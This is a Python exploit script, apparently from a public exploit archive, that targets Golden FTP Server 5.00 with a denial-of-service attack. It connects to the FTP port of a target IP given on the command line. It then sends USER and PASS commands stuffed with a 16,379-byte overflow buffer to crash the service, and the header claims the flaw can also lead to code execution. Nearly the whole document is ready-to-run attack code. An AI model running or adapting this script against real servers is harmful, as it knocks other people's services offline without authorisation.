Golden FTP 5.00 Denial Of Service

`#!/usr/bin/python  
  
#Both Golden Pro And Free FTP server is prone to a remote DOS vulnerability.POC  
  
#Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions.  
  
#-------------------------------------------------------------------------  
#Exploit Title : Golden FTP Server DOS vulnerability.  
#Date : 2015.06.01  
#Exploit Author : 4Lu5h  
#Email : [email protected]  
#Product Homepage: www.goldenftpserver.com  
#Software Link : http://www.goldenftpserver.com/statdir/stat.php?id=download_pro  
#Product: Golden Pro FTP Server  
#Version : 5.00  
#Tested Os : Windows XP SP1/SP3 TR  
#--------------------------------------------------------------------------  
  
  
import socket  
import sys  
  
def usage():  
print "usage : ./goldenftp.py <ip > "  
print "example: ./goldenftp.py 192.168.189.19"  
  
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
if len(sys.argv) != 2:  
usage()  
sys.exit()  
  
ip = sys.argv[1]  
  
buff = "A" * 16379  
  
try:  
print("[-] Connecting to " + ip + " for exploitation..\n")  
s.connect((ip,21))  
s.recv(1024)  
print "[-] Connected to server"  
print "[-] Sending exploit"  
s.send('USER '+buff+'\r\n') #if fails try username test   
s.send('PASS '+buff+'\r\n')  
s.close()  
print("[-] Exploit successfully sent...")  
except:  
print "[-] Exploit failed.. Check if server is up.."  
`